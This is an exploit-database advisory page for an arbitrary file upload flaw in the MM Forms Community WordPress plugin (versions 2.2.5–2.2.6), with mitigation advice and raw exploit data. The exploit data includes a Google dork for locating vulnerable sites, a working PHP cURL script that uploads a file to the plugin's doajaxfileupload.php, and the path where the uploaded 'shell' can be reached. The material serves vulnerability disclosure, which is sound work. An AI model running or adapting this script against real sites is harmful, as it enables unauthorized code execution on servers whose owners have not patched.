header-logo
Suggest Exploit
vendor:
MM Forms Community
by:
Sammy FORGIT
8,8
CVSS
HIGH
Arbitrary File Upload
434
CWE
Product Name: MM Forms Community
Affected Version From: 2.2.5
Affected Version To: 2.2.6
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:mm_forms_community
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

WordPress Plugins – MM Forms Community Arbitrary File Upload Vulnerability

A vulnerability in the MM Forms Community plugin for Wordpress allows an attacker to upload arbitrary files, such as a web shell, via a crafted HTTP request. This vulnerability affects versions 2.2.5 and 2.2.6 of the plugin. An attacker can exploit this vulnerability by sending a crafted HTTP request containing a malicious file to the doajaxfileupload.php script. The malicious file will be uploaded to the upload/temp/ directory, allowing an attacker to execute arbitrary code on the server.

Mitigation:

Upgrade to version 2.2.7 or later of the MM Forms Community plugin.
Source

Exploit-DB raw data:

##################################################
# Description : Wordpress Plugins - MM Forms Community Arbitrary File 
Upload Vulnerability
# Version : 2.2.5 - 2.2.6
# Link : http://wordpress.org/extend/plugins/mm-forms-community/
# Plugins : http://downloads.wordpress.org/plugin/mm-forms-community.zip
# Date : 24-05-2012
# Google Dork : inurl:/wp-content/plugins/mm-forms-community/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('fileToUpload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/mm-forms-community/upload/temp/
Filename : $postResult output

lo.php
<?php
phpinfo();
?>